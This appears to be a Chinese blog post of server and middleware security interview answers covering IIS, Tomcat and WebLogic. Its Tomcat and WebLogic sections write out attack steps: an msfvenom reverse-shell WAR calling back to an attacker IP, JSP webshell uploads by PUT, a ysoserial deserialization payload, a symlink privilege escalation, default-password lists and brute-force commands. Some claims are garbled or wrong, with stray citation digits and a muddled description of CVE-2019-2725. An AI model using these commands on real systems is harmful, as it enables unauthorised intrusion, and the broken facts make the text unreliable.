2025年最新服务器、中间件安全(面试题)
活动发起人@小虚竹 想对你说：
这是一个以写作博客为目的的创作活动，旨在鼓励大学生博主们挖掘自己的创作潜能，展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴，那么，快来参加吧！我们一起发掘写作的魅力，书写出属于我们的故事。我们诚挚邀请你参加为期14天的创作挑战赛！
提醒：在发布作品前，请将不需要的内容删除。
1.常见的网站服务器容器
一、Web 服务器中间件（处理 HTTP/HTTPS 请求）
1. Nginx
- 功能：高性能的 HTTP 和反向代理服务器，支持静态资源服务、负载均衡、缓存、SSL/TLS 加密等。
- 特点：
-
- 异步非阻塞架构，高并发处理能力（单服务器可支持数万个并发连接）；
- 资源占用低，适合高流量场景（如静态文件、API 接口服务）；
- 常作为反向代理，将请求转发到后端应用服务器（如 Tomcat、Node.js 服务）。
- 应用场景：
-
- 静态网站托管（HTML/CSS/JS）、CDN 节点、微服务网关、高并发 API 接口服务。
2. Apache HTTP Server（httpd）
- 功能：老牌的开源 Web 服务器，支持模块化扩展，如 PHP 解析、Rewrite 规则、虚拟主机等。
- 特点：
-
- 兼容性强，支持大量第三方模块（如 mod_php、mod_rewrite）；
- 适合处理动态请求（通过 CGI/FastCGI 与 PHP、Python 等语言集成）；
- 同步阻塞模型，高并发下资源消耗高于 Nginx。
- 应用场景：
-
- 传统动态网站（如 WordPress、PHP 项目）、企业内部系统、需要高度定制化模块的场景。
3. Microsoft IIS
- 功能：Windows 平台的 Web 服务器，支持ASP.NET、ASP、PHP 等技术，集成 IIS 管理器图形化配置。
- 特点：
-
- 与 Windows 生态深度整合（如 Active Directory 认证、FTP 服务）；
- 适合.NET 框架应用，支持 URL 重写、SSL 绑定、请求过滤等功能。
- 应用场景：
-
- 企业级.NET 应用、政府 / 金融行业的 Windows 环境项目。
二、应用服务器中间件（运行动态应用逻辑）
4. Apache Tomcat
- 功能：Java 生态的轻量级应用服务器，支持 Servlet、JSP、WebSocket 等 Java EE 规范，不支持 EJB。
- 特点：
-
- 轻量高效，适合中小型 Java Web 应用（如 Spring Boot 默认内置 Tomcat）；
- 可作为独立服务器或嵌入到 Spring Boot 项目中运行。
- 应用场景：
-
- Java Web 项目部署（如 Spring MVC、Java Servlet 应用）、教育 / 中小型企业项目。
5. WildFly（原 JBoss AS）
- 功能：全面支持 Java EE 规范（包括 EJB、JPA、JMS 等）的应用服务器，适合复杂企业级应用。
- 特点：
-
- 支持热部署、集群管理、分布式事务；
- 资源消耗较高，适合需要完整 Java EE 功能的场景。
- 应用场景：
-
- 大型企业级 Java 应用（如银行核心系统、ERP 平台）。
6. Jetty
- 功能：Java 生态的轻量级应用服务器，支持嵌入式部署（如在 Java 代码中直接启动 Jetty 实例）。
- 特点：
-
- 异步非阻塞模型，适合高并发场景（如 WebSocket 实时通信）；
- 常作为微服务框架（如 Spring Boot、Quarkus）的可选服务器。
- 应用场景：
-
- 实时通信应用（聊天、直播）、需要嵌入式部署的 Java 项目。
三、语言特定中间件（针对编程语言 / 框架优化）
7. Node.js HTTP Server
- 功能：Node.js 内置的 HTTP 服务器模块，基于异步 I/O 模型，适合构建高性能 API 和实时应用。
- 特点：
-
- 单线程异步非阻塞，适合 I/O 密集型任务（如 API 网关、实时消息服务）；
- 常配合 Express/Koa 等框架简化开发。
- 应用场景：
-
- 前后端分离的 API 服务器、实时聊天应用（Socket.io）、SSR（服务器端渲染）。
8. uWSGI
- 功能：支持多种语言（Python、Java、Ruby 等）的高性能应用服务器，专注于 WSGI 协议（Python Web 应用接口）。
- 特点：
-
- 支持 HTTP、WebSocket、SMTP 等协议，可与 Nginx 配合使用；
- 适合 Python Web 框架（如 Django、Flask）的生产环境部署。
- 应用场景：
-
- Python Web 应用的高性能部署（通过 Nginx + uWSGI 组合）。
9. Gunicorn（Green Unicorn）
- 功能：Python 专用的 WSGI 服务器，简单高效，支持多工作进程模型。
- 特点：
-
- 配置简单，适合快速部署 Flask/Django 应用；
- 常与 Nginx 结合，由 Nginx 处理静态资源和反向代理。
- 应用场景：
-
- 中小型 Python Web 项目的生产环境部署。
四、企业级集成中间件（分布式系统核心）
10. WebLogic Server
- 功能：Oracle 旗下的 Java EE 应用服务器，提供企业级功能（如集群、负载均衡、安全性、事务管理）。
- 特点：
-
- 高度集成企业级解决方案（如与 Oracle 数据库、云服务整合）；
- 适合复杂分布式系统和高可用性要求的场景。
- 应用场景：
-
- 大型企业核心业务系统（如电信、金融行业的关键应用）。
11. 消息中间件（非 Web 专用，但核心中间件）
- RabbitMQ：开源 AMQP 消息队列，支持高可靠消息传递，适合解耦微服务。
- Kafka：分布式流处理平台，高吞吐量，适合日志处理、实时数据流分析。
- 应用场景：
-
- 分布式系统中的异步通信、流量削峰、微服务解耦（如订单系统与库存系统解耦）。
12. API 网关（微服务架构核心）
- Kong：基于 Nginx 的开源 API 网关，支持 API 路由、限流、认证、监控。
- Nginx Plus：Nginx 的商业版，内置 API 网关功能，支持动态服务发现。
- 应用场景：
-
- 微服务架构中统一管理 API 入口，解决跨服务调用、权限控制等问题。
五、选择建议
- 静态 / 高并发场景：Nginx（高性能、低资源消耗）；
- 传统动态网站（PHP/ASP.NET）：Apache HTTP Server（模块化强）或 IIS（Windows 生态）；
- Java Web 应用：
-
- 中小型项目：Tomcat（轻量）或 Jetty（嵌入式）；
- 企业级项目：WildFly/WebLogic（完整 Java EE 支持）；
- Python 项目：Gunicorn/uWSGI + Nginx（高效部署 WSGI 应用）；
- 微服务 / 分布式系统：API 网关（Kong/Nginx Plus）+ 消息中间件（Kafka/RabbitMQ）。
中间件的核心价值在于屏蔽底层复杂性，提供标准化服务（如网络通信、资源管理、安全认证），选择时需结合技术栈、性能需求、系统规模（单体应用 / 分布式）及生态兼容性（如 Java 项目优先选 Tomcat，Python 优先选 uWSGI）。
2.如何检测iis短文件名漏洞
IIS 短文件名漏洞（8.3 文件名漏洞）源于 Windows 系统对旧版 8.3 文件名格式的兼容机制，当 IIS 服务器启用短文件名解析时，攻击者可通过构造带有~1后缀的 URL 尝试获取文件 / 目录的短名称，进而可能导致路径遍历、敏感文件泄露等风险。以下是具体的检测方法：
一、漏洞原理
Windows 系统会为长文件名自动生成短文件名（格式为前6个字符~1.扩展名，如longfilename.txt生成longfi~1.txt）。若 IIS 未禁用短文件名解析，攻击者可通过发送包含~1的 URL，探测是否存在对应的短文件名，从而推断服务器上的文件 / 目录结构。
二、检测前提
- 目标服务器使用 Windows 系统 + IIS Web 服务器（通常为 IIS 6.0 及以下版本，IIS 7.0 + 默认禁用短文件名，但配置不当仍可能存在）。
- 已知或可猜测文件 / 目录的 前 6 个字符（或通过枚举尝试）。
三、手动检测方法
1. 通过浏览器 /curl 发送探测请求
构造包含~1后缀的 URL，观察响应状态码或内容：
- 格式：
http://目标IP或域名/[文件/目录名前6位]~1/[后缀] - 示例：
-
- 探测目录短名称：
http://example.com/testdir~1/（假设真实目录名为testdirectory，前 6 位为testdi，短名称为testdi~1）。 - 探测文件短名称：
http://example.com/longfile~1.txt（假设真实文件名为longfilename.txt，短名称为longfi~1.txt）。
- 探测目录短名称：
- 响应分析：
-
- 若返回 200 OK 或 403 Forbidden（非 404），说明短文件名存在，漏洞可能存在。
- 若返回 404 Not Found，可能不存在短文件名或路径错误。
2. 利用目录遍历和通配符
- 通过
*~1*通配符尝试匹配短文件名（需 IIS 开启目录浏览）：
http://example.com/*~1*/
若返回目录列表，可能包含短文件名信息。
四、工具检测方法
1. 使用扫描工具
- DirBuster（Java 开源工具）：
-
- 在字典中添加包含
~1的短文件名规则（如?d?d?d?d?d~1，?代表任意字符），扫描目标目录。 - 配置示例：字典文件中加入
test~1、user~1等可能的短名称，结合目标已知信息定向扫描。
- 在字典中添加包含
- 御剑 Web 扫描器（国产工具）：
-
- 在 “目录扫描” 模块中，勾选 “检测短文件名漏洞” 选项，自动生成带
~1的探测路径。
- 在 “目录扫描” 模块中，勾选 “检测短文件名漏洞” 选项，自动生成带
- Python 脚本自定义探测：python
import requests
target = "http://example.com/"
prefix = "test" # 假设目录/文件前6位为test（不足6位补全）
for i in range(1, 10):
url = f"{target}{prefix}~{i}/"
response = requests.get(url)
if response.status_code != 404:
print(f"短文件名存在: {url} 状态码: {response.status_code}")
2. 漏洞利用工具（需授权环境）
- Metasploit 模块：
使用auxiliary/scanner/http/iis_shortname_scanner模块，指定目标 IP 范围和目录前缀，自动探测短文件名。
五、漏洞修复建议
- 禁用短文件名解析（根本修复）：
-
- 通过 注册表编辑器（
regedit）修改：
定位到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem，将NtfsDisable8dot3NameCreation的值设置为 1（1 = 禁用，0 = 启用），重启服务器生效。 - 注意：此设置会影响所有依赖 8.3 文件名的程序，需确认业务兼容性。
- 通过 注册表编辑器（
- 限制 IIS 目录访问：
-
- 关闭 IIS 的目录浏览功能，避免攻击者通过目录列表获取线索。
- 在 IIS 中为敏感目录设置访问权限，拒绝匿名用户访问。
- 更新 IIS 版本：
-
- IIS 7.0 及以上版本默认禁用短文件名解析，但需检查配置是否被手动启用（通过
%systemroot%system32inetsrvconfigpplicationHost.config文件，搜索enable83Name相关配置）。
- IIS 7.0 及以上版本默认禁用短文件名解析，但需检查配置是否被手动启用（通过
六、注意事项
- 合法授权：检测需在目标所有者授权下进行，避免触犯法律。
- 误报可能：部分服务器即使禁用短文件名，可能因缓存或旧配置返回非 404 状态码，需结合多种方法验证。
- 结合业务场景：若业务必须使用 8.3 文件名（极少情况），需通过防火墙或 WAF（如 ModSecurity）拦截包含
~1的请求。
通过以上方法可有效检测 IIS 短文件名漏洞，修复时需优先禁用 8.3 文件名生成，从源头杜绝风险。
3.如何判断web服务器是windows还是linux
一、通过 URL 路径格式判断（最直接）
1. 文件路径分隔符
- Windows 特征：若服务器返回的错误信息或文件路径包含 反斜杠（
），如C:inetpubwwwrooterror.html，则为 Windows 系统。 - Linux 特征：路径使用 正斜杠（
/），如/var/www/html/index.php。 - 操作方法：
故意访问不存在的文件（如http://域名/abcde123456789），查看返回的错误页面或响应体，若包含路径信息，直接判断分隔符类型。
2. 短文件名漏洞（Windows 特有）
尝试访问带 ~1 后缀的 URL（如 http://域名/test~1/），若返回 403 Forbidden 或 200 OK（非 404），说明存在 Windows 的 8.3 短文件名机制（详见之前 IIS 漏洞检测部分）。
二、通过 HTTP 响应头判断
1. Server 字段分析
使用工具（如浏览器 F12、curl、wget）获取响应头，重点查看 Server 字段：
- Windows 典型值：
-
Microsoft-IIS/10.0（IIS 服务器）Microsoft-HTTPAPI/2.0（Windows 内置 API）
- Linux 典型值：
-
Apache/2.4.57 (Ubuntu)Nginx/1.24.0openresty/1.21.4.1（Nginx 衍生版）
2. X-Powered-By 或其他字段
- 若存在
.NET相关信息（如X-Powered-By: ASP.NET），大概率为 Windows（因ASP.NET仅 Windows 原生支持）。 - 若包含
PHP/7.4.30或Python等，可能为 Linux，但需结合其他条件（Windows 也可运行 PHP，但较少见）。
三、通过服务器软件与技术栈判断
1. 默认端口与服务
- Windows 常见组合：
-
- IIS 服务器（默认端口 80/443，支持 ASP/ASPX）
- 结合.NET 框架、Windows 身份验证（NTLM/Kerberos）。
- Linux 常见组合：
-
- Apache/Nginx（默认端口 80/443，支持 PHP/Python/Node.js）
- 结合 MySQL/PostgreSQL 数据库、SSH 远程管理。
2. 文件扩展名支持
- 若访问
.aspx文件返回正常页面（非 404），基本确定为 Windows（IIS+ASP.NET）。 - 若
.php文件正常解析，可能为 Linux（但 Windows+IIS+PHP 也存在，需结合其他条件）。
四、通过错误页面特征判断
1. Windows IIS 错误页面
- 经典错误码页面（如 404、500）可能包含 “HTTP 错误” 字样，页面设计偏微软风格，路径可能带反斜杠。
- 示例：plaintext
HTTP 错误 404.0 - Not Found
无法找到请求的资源。
物理路径：C:inetpubwwwrootmissing.aspx
2. Linux Apache/Nginx 错误页面
- 错误页面通常更简洁，路径为正斜杠，可能包含服务器软件版本（如 “Apache/2.4.29 Server at example.com Port 80”）。
- 示例：plaintext
Not Found
The requested resource /abc was not found on this server.
Apache/2.4.29 (Ubuntu) Server at example.com Port 80
五、通过命令执行（需有权限）
若能通过漏洞（如命令注入）执行系统命令：
- Windows：执行
echo %OS%返回Windows_NT，或systeminfo查看系统类型。 - Linux：执行
uname -a返回 Linux 内核信息（如Linux server 5.4.0-107-generic #121-Ubuntu SMP），或cat /etc/os-release查看发行版。
六、通过工具快速检测
1. Nmap 脚本扫描
使用 Nmap 的 HTTP 指纹脚本：
bash
nmap -sV --script http-system-detection 目标IP
输出会显示操作系统猜测（如Running: Microsoft Windows Server 2016|2019 或 Linux 3.10 - 5.4）。
2. WhatWeb 工具
开源指纹识别工具，支持精准识别操作系统：
bash
whatweb http://目标域名
结果示例：
plaintext
[http://example.com]
OS: Windows Server 2019
Server: Microsoft-IIS/10.0
3. 在线工具
- Wappalyzer（浏览器插件或在线版）：检测技术栈的同时，显示操作系统。
- Netcraft：查看 “Server” 信息，标注 Windows/Linux。
七.大小写
Windows对于大小写不敏感,替换某个字母为大写返回正常为Windows,反之为linux
八.TTL返回值
TTL为64,有很大可能性为linux,TTL为128,有很大可能性为Windows,TTL为255,有很大可能为UNIX(可修改TTL)
总结：判断流程
- 优先看路径分隔符：反斜杠→Windows，正斜杠→Linux（最可靠）。
- 其次看 Server 头：包含 “IIS” 或 “Microsoft”→Windows，包含 “Apache/Nginx”→Linux（需结合其他条件，因 Nginx/Apache 可跨平台）。
- 结合技术栈：ASPX→Windows，PHP/Python→大概率 Linux（非绝对）。
- 工具辅助：Nmap/WhatWeb 直接获取系统指纹，准确率高。
通过以上方法综合判断，可在无权限的情况下快速区分 Web 服务器的操作系统。
4.Tomcat漏洞利用
一、弱口令攻击
漏洞原理
Tomcat 管理后台（如/manager/html）默认配置存在弱口令（如admin:admin），攻击者可通过爆破或默认凭证登录，上传恶意 WAR 包获取服务器权限。
利用方法
- 爆破工具：
-
- Burp Suite：抓取登录请求，使用字典爆破
Authorization字段的 Base64 编码值（如admin:admin编码为YWRtaW46YWRtaW4=）。 - Metasploit：bash
- Burp Suite：抓取登录请求，使用字典爆破
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 目标IP
set USER_FILE 用户名文件
set PASS_FILE 密码文件
run
- 手动验证：
访问http://目标IP:8080/manager/html，尝试默认用户名密码（如tomcat:tomcat）。
实战案例
- 上传 WAR 包：登录后通过
部署WAR文件功能上传包含 JSP 后门的 WAR 包（如msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=8081 -f war -o shell.war）。 - 反弹 Shell：访问
http://目标IP:8080/shell/触发后门，本地监听端口接收连接：bash
nc -lvnp 8081
二、文件上传漏洞（CVE-2017-12615）
漏洞原理
Tomcat 的DefaultServlet在处理 PUT 请求时，若配置readonly=false（非默认），攻击者可通过构造特殊文件名（如shell.jsp/）绕过 JSP 文件检测，直接上传恶意代码。
利用条件
- Tomcat 版本为 7.0.0-7.0.79（8.0 及以上默认修复）。
conf/web.xml中DefaultServlet的readonly参数设置为false。
利用方法
- 构造 PUT 请求：bash
curl -X PUT "http://目标IP:8080/shell.jsp/" --data-binary @shell.jsp
关键技巧：
-
- 文件名后加
/或空格（如shell.jsp/），绕过 Tomcat 对 JSP 文件的过滤。 - 若为 Windows 系统，可使用
::$DATA后缀（如shell.jsp::$DATA）。
- 文件名后加
- 验证上传：
访问http://目标IP:8080/shell.jsp，若返回 200 OK，说明漏洞存在。
工具辅助
- TomcatScanPro：集成 CVE-2017-12615 检测模块，支持多线程扫描和漏洞利用。bash
python3 TomcatScanPro.py -u http://目标IP:8080 -m cve-2017-12615
三、反序列化漏洞（CVE-2020-9484/CVE-2025-24813）
漏洞原理
- CVE-2020-9484：Tomcat 的
FileStore会话持久化功能未正确验证文件路径，攻击者可通过构造特制请求读取或写入任意文件，结合反序列化链执行代码。 - CVE-2025-24813：Tomcat 处理不完整 PUT 请求时，允许上传恶意序列化数据到会话文件，触发反序列化漏洞。
利用条件
- 启用
FileStore会话存储（conf/context.xml中配置）。 - 存在可利用的反序列化链（如
commons-collections库）。
利用方法
- 构造恶意会话文件：
使用ysoserial生成反序列化 payload：bash
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/success" > payload.session
- 上传并触发：
通过 PUT 请求上传payload.session到会话存储目录（如/work/Catalina/localhost/ROOT/），并访问对应会话 ID：bash
curl -X PUT "http://目标IP:8080/../../work/Catalina/localhost/ROOT/sess_恶意ID.session" --data-binary @payload.session
修复建议
- 禁用
FileStore会话存储，改用内存或其他安全存储方式。 - 删除
commons-collections等危险库，或升级到安全版本。
四、AJP 协议文件包含漏洞（CVE-2020-1938）
漏洞原理
Tomcat 的 AJP 连接器存在缺陷，攻击者可通过构造特定请求读取服务器webapp目录下的任意文件（如/WEB-INF/web.xml），若结合文件上传功能可进一步执行代码。
利用条件
- AJP 连接器未禁用（默认端口 8009）。
- 目标服务器允许文件上传。
利用方法
- 读取文件：
使用 Python 脚本（如CVE-2020-1938-Tomact-file_include-file_read）：bash
python2 exploit.py -p 8009 -f /WEB-INF/web.xml 目标IP
- 结合文件上传：
-
- 上传恶意 JSP 文件到
webapp目录。 - 通过 AJP 协议包含该文件：bash
- 上传恶意 JSP 文件到
python2 exploit.py -p 8009 -f /上传路径/shell.jsp 目标IP
防御措施
- 禁用 AJP 连接器（修改
conf/server.xml，注释 - 配置防火墙限制 AJP 端口（8009）的访问。
五、本地提权漏洞（CVE-2016-1240）
漏洞原理
Tomcat 服务启动脚本以 root 权限运行，但日志文件catalina.out的所有者为 tomcat 用户。攻击者可通过创建软链接，将catalina.out指向敏感文件（如/etc/passwd），触发 root 权限写入。
利用步骤
- 获取低权限 Shell：通过其他漏洞（如弱口令）上传 JSP 后门，获取
tomcat用户权限。 - 创建软链接：bash
ln -s /etc/passwd /var/log/tomcat7/catalina.out
- 触发提权：重启 Tomcat 服务，root 用户会将
catalina.out的所有者改为tomcat，从而修改/etc/passwd文件。
六、检测与修复
漏洞检测
- 工具扫描：
-
- Nmap：bash
nmap -p 8080 --script http-tomcat-version 目标IP
-
- TomcatScanPro：一键检测弱口令、文件上传、AJP 漏洞等。
- WhatWeb：识别 Tomcat 版本及技术栈。
- 配置检查：
-
- 检查
conf/web.xml中DefaultServlet的readonly参数是否为true。 - 确认 AJP 连接器是否禁用（
conf/server.xml中无AJP配置）。
- 检查
修复方案
- 更新版本：
-
- 升级到 Tomcat 9.0.31（CVE-2020-1938）、9.0.98（CVE-2024-50379）等安全版本。
- 参考官方公告：Apache Tomcat Security Advisory。
- 禁用危险功能：
-
- 关闭 PUT 方法：在
conf/web.xml中设置readonly=true。 - 禁用 AJP 连接器：注释
server.xml中的 AJP 配置。
- 关闭 PUT 方法：在
- 强化认证：
-
- 修改管理后台默认密码，使用强密码策略。
- 限制管理后台访问 IP（在
conf/tomcat-users.xml中配置role权限）。
- 安全配置：
-
- 以低权限用户（非 root）运行 Tomcat。
- 禁用目录浏览，删除示例应用（如
/examples）。
七、防御案例
某企业 Tomcat 服务器被攻击后，通过以下措施修复：
- 漏洞分析：攻击者利用 CVE-2017-12615 上传 JSP 后门，结合弱口令进入管理后台。
- 紧急处理：
-
- 关闭 PUT 方法（
readonly=true）。 - 修改
admin用户密码，禁用匿名访问。
- 关闭 PUT 方法（
- 长期防护：
-
- 升级 Tomcat 到 9.0.31，禁用 AJP 连接器。
- 部署 WAF，拦截包含
~1、/WEB-INF/等敏感字符串的请求。
总结
Tomcat 漏洞利用需结合 版本分析、配置检查、工具扫描 多维度防御。核心防护策略包括：
- 禁用非必要功能（PUT 方法、AJP 协议、目录浏览）。
- 及时更新补丁，避免使用老旧版本。
- 强化认证与访问控制，限制管理后台权限。
- 监控异常请求，通过日志分析发现攻击痕迹。
通过以上措施可大幅降低 Tomcat 服务器的安全风险。
5.Weblogic后台默认密码
一、各版本默认密码与验证方法
1. WebLogic 10.x（如 10.3.6）
- 默认用户名：
weblogic - 默认密码：
-
- 独立安装版：
weblogic123（需验证）。 - JDeveloper 自带版：
weblogic1（因密码复杂度要求，文档描述为welcome1但实际为weblogic1）。
- 独立安装版：
- 验证方式：
-
- 访问控制台
http://IP:7001/console，尝试默认凭证。 - 若失败，检查安装日志或
boot.properties文件（路径：DOMAIN_HOME/servers/AdminServer/security/boot.properties）。
- 访问控制台
2. WebLogic 12c（如 12.2.1.4）
- 默认用户名：
weblogic - 默认密码：
-
- Docker 镜像：
Oracle@123（如 VulnStack 环境）。 - 手动安装：无默认密码，需在安装时设置（密码需包含数字和字母，至少 8 位）。
- Docker 镜像：
- 验证方式：
-
- 若为 Docker 部署，查看容器日志获取密码：bash
docker logs weblogic-container | grep 'Initial default password'
3. WebLogic 14c（如 14.1.1.0）
- 默认用户名：
weblogic - 默认密码：无，安装时强制设置（参考11）。
- 验证方式：
-
- 若通过 Oracle 云市场部署，需参考官方文档（Doc ID 2267270.1）获取默认密码。
4. 其他常见弱密码
- 通用弱口令：plaintext
weblogic/weblogic
weblogic/welcome1
weblogic/Oracle@123
system/manager
wlcsystem/wlcsystem
- 来源：
-
- 历史版本默认配置（如 WebLogic 8.1）。
- 用户未修改的默认凭证（如
wlcsystem为系统用户）。
二、实战验证与密码恢复
1. 手动验证
- 场景：已知目标 IP 和端口，尝试默认密码登录。
- 步骤：
-
- 访问
http://IP:7001/console。 - 输入
weblogic和常见密码（如weblogic123、Oracle@123）。 - 若失败，检查
boot.properties文件（需服务器权限）。
- 访问
2. 密码恢复方法
- 方法 1：修改配置文件（需服务器权限）
-
- 停止 WebLogic 服务。
- 编辑
DOMAIN_HOME/security/SerializedSystemIni.dat文件，删除密码加密部分。 - 启动服务，使用空密码登录并重置。
-
- 风险：可能导致域配置损坏，需备份文件。
- 方法 2：使用工具重置（适用于 10.x 版本）bash
# 生成新密码文件
java weblogic.security.utils.AdminAccount <新用户名> <新密码> .
# 替换原文件
cp DefaultAuthenticatorInit.ldift DOMAIN_HOME/security/
-
- 参考：19。
3. 爆破工具
- 工具：
-
- Burp Suite：抓取登录请求，使用字典爆破。
- Metasploit：bash
use auxiliary/scanner/http/weblogic_login
set RHOSTS 目标IP
set USER_FILE usernames.txt
set PASS_FILE passwords.txt
run
-
- Hydra：bash
hydra -L users.txt -P passwords.txt -s 7001 目标IP http-form-post "/console/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
三、安全风险与防御建议
1. 风险分析
- 远程代码执行：弱密码登录后，可上传恶意 WAR 包（如
msfvenom -p java/jsp_shell_reverse_tcp ...）。 - 敏感信息泄露：通过控制台可查看数据库连接字符串、应用配置等。
- 横向渗透：若 WebLogic 与其他系统（如数据库）共享凭证，可能导致连锁攻击。
2. 防御措施
- 禁用默认凭证：
-
- 删除
weblogic用户，创建强密码的新管理员。 - 参考8：在控制台修改密码，路径：
Security Realm > Users > weblogic > Change Password。
- 删除
- 强化密码策略：
-
- 密码长度≥12 位，包含大小写字母、数字、特殊字符。
- 启用密码复杂度检查（控制台路径：
Security Realm > Providers > Password Validation）。
- 限制访问权限：
-
- 仅允许内部网络访问控制台（如通过防火墙限制）。
- 禁用非必要服务（如 T3 协议、IIOP 协议）。
- 及时更新补丁：
-
- 修复 CVE-2023-21839（反序列化漏洞）、CVE-2024-29063（SSRF 漏洞）等。
- 参考 Oracle 官方公告：WebLogic Security Alerts。
- 监控与审计：
-
- 记录登录失败日志，设置登录失败锁定阈值（如 5 次失败后锁定账户）。
- 使用 WAF 拦截包含
weblogic、console等关键词的请求。
四、实战案例与防御效果
案例 1：Docker 环境弱密码攻击
- 攻击步骤：
-
- 部署 VulnStack 的 WebLogic 环境（默认密码
weblogic/Oracle@123）。 - 登录控制台，上传 JSP 后门（如
shell.jsp）。 - 访问
http://IP:7001/shell.jsp触发反弹 Shell。
- 部署 VulnStack 的 WebLogic 环境（默认密码
- 防御措施：
-
- 自定义 Docker 镜像，删除默认用户。
- 使用
docker-compose.yml配置时，通过环境变量设置密码：yaml
environment:
- USER_MEM_ARGS=-Dweblogic.management.username=admin -Dweblogic.management.password=StrongPass123!
案例 2：生产环境密码恢复
- 场景：忘记 WebLogic 密码，无法登录控制台。
- 解决方案：
-
- 停止服务，备份
DOMAIN_HOME。 - 使用
SerializedSystemIni.dat重置密码（参考19）。 - 启动服务后，立即修改密码并删除临时文件。
- 停止服务，备份
五、总结
- 默认密码不可信：WebLogic 的默认密码因版本和部署方式差异较大，且存在安全风险，必须在安装后立即修改。
- 防御核心：
-
- 禁用默认用户，创建强密码的新管理员。
- 限制控制台访问，仅允许可信 IP 地址连接。
- 定期审计，检查是否存在弱密码或未授权用户。
通过以上措施，可有效降低 WebLogic 后台的安全风险。
6.Weblogic的CVE-2019-2725漏洞描述于修复方案
漏洞描述
1. 漏洞概述
CVE - 2019 - 2725 是 WebLogic Server 中存在的一个严重的反序列化漏洞。WebLogic 是 Oracle 公司开发的一款应用服务器，在企业级应用开发和部署中广泛使用。此漏洞允许未经身份验证的远程攻击者通过构造恶意请求，利用 WebLogic Server 的 T3 协议进行远程代码执行攻击。
2. 影响版本
此漏洞影响多个 WebLogic Server 版本，主要包括：
- WebLogic Server 10.3.6.0
- WebLogic Server 12.1.3.0
- WebLogic Server 12.2.1.3
- WebLogic Server 12.2.1.4
3. 漏洞原理
WebLogic Server 使用 T3 协议进行内部通信和管理，T3 协议在处理序列化对象时存在缺陷。攻击者可以构造包含恶意代码的序列化对象，通过 T3 协议发送到 WebLogic Server。当服务器对这些恶意序列化对象进行反序列化操作时，就会触发恶意代码的执行，从而使攻击者能够在目标服务器上执行任意代码。
4. 攻击场景
攻击者可以利用该漏洞在未授权的情况下，远程控制 WebLogic Server，进行诸如窃取敏感信息、安装后门程序、破坏系统等恶意操作。例如，攻击者可以获取数据库连接信息，进而访问企业的核心数据；或者植入挖矿程序，利用服务器的计算资源进行加密货币挖掘。
修复方案
1. 升级 WebLogic Server 版本
Oracle 官方发布了补丁来修复此漏洞，建议受影响的用户尽快将 WebLogic Server 升级到安全版本：
- WebLogic Server 10.3.6.0 用户，升级到 10.3.6.0.190416 及以上版本。
- WebLogic Server 12.1.3.0 用户，升级到 12.1.3.0.190416 及以上版本。
- WebLogic Server 12.2.1.3 用户，升级到 12.2.1.3.190416 及以上版本。
- WebLogic Server 12.2.1.4 用户，升级到 12.2.1.4.190416 及以上版本。
升级步骤如下：
- 备份 WebLogic Server 的配置文件、域目录以及相关数据，防止升级过程中数据丢失。
- 下载对应版本的补丁包，可从 Oracle 官方支持网站获取。
- 停止 WebLogic Server 服务。
- 运行补丁安装程序，按照提示完成升级操作。
- 启动 WebLogic Server 服务，并验证升级是否成功。
2. 配置防火墙规则
如果暂时无法进行升级，可以通过配置防火墙规则来限制对 WebLogic Server T3 协议端口（默认是 7001）的访问，只允许来自可信 IP 地址的连接。具体配置步骤因使用的防火墙不同而有所差异，以下是一个示例（以 Linux 系统的 iptables 为例）：
bash
# 允许本地回环接口的流量
iptables -A INPUT -i lo -j ACCEPT
# 允许已建立的和相关的连接
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# 允许来自可信IP地址的T3协议流量
iptables -A INPUT -p tcp -s 可信IP地址 -dport 7001 -j ACCEPT
# 拒绝其他所有对T3协议端口的访问
iptables -A INPUT -p tcp --dport 7001 -j DROP
3. 监控和检测
部署入侵检测系统（IDS）或入侵防御系统（IPS），对 WebLogic Server 的网络流量进行实时监控和检测。这些系统可以识别和拦截异常的 T3 协议流量，以及可能利用该漏洞的恶意请求。同时，定期审查 WebLogic Server 的日志文件，查看是否存在异常的登录尝试、错误信息或可疑操作记录，及时发现潜在的攻击行为。
7.假设你发现weblogic爆发0day漏洞,需要你紧急排查影响,说说你的看法
一、漏洞特征快速定位
- 确认攻击向量
-
- T3 协议漏洞：通过
nmap -p 7001 --script weblogic-t3-info检测 T3 服务是否开放。若存在反序列化漏洞（如 CVE-2019-2725 补丁绕过），攻击者可直接构造恶意 T3 协议数据执行代码618。 - HTTP 协议漏洞：访问
http://IP:7001/_async/AsyncResponseService，若返回 200 状态码，说明存在 wls9-async 组件漏洞19。此组件在 WebLogic 10.3.6/12.1.3 中默认启用，攻击者可通过 HTTP 请求触发反序列化1217。
- T3 协议漏洞：通过
- 版本与组件关联
-
- 受影响版本：
-
-
- T3 漏洞：WebLogic 10.3.6.0 + JDK1.7 以下版本6。
- HTTP 漏洞：WebLogic 10.3.6.0、12.1.3.0、12.2.1.11214。
-
-
- 关键组件：
-
-
wls9_async_response.war（路径：DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls9_async_response）。wls-wsat.war（路径：DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls-wsat）。
-
-
- 验证方法：通过
find / -name "wls9_async_response.war"或find / -name "wls-wsat.war"定位组件是否存在1617。
- 验证方法：通过
二、紧急隔离与风险阻断
- 网络层隔离
-
- 防火墙策略：
-
-
- 禁用 T3 协议：
iptables -A INPUT -p tcp --dport 7001 -j DROP。 - 限制 HTTP 访问：仅允许可信 IP 访问 WebLogic 控制台（如
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 7001 -j ACCEPT）18。
- 禁用 T3 协议：
-
-
- WAF 规则：
-
-
- 拦截
/_async/*和/wls-wsat/*路径：bash
- 拦截
-
# 华为云WAF配置示例
路径包含 "/_async" 或 "/wls-wsat" → 阻断
参考2122。
- 服务层禁用
-
- WebLogic 控制台配置：
-
-
- 进入
Security Realm > Providers > Network Access，添加连接筛选器：plaintext
- 进入
-
weblogic.security.net.ConnectionFilterImpl
* * 7001 deny t3 t3s
-
-
- 重启服务使配置生效18。
-
-
- 删除高危组件（需开发确认业务影响）：bash
rm -rf DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls9_async_response
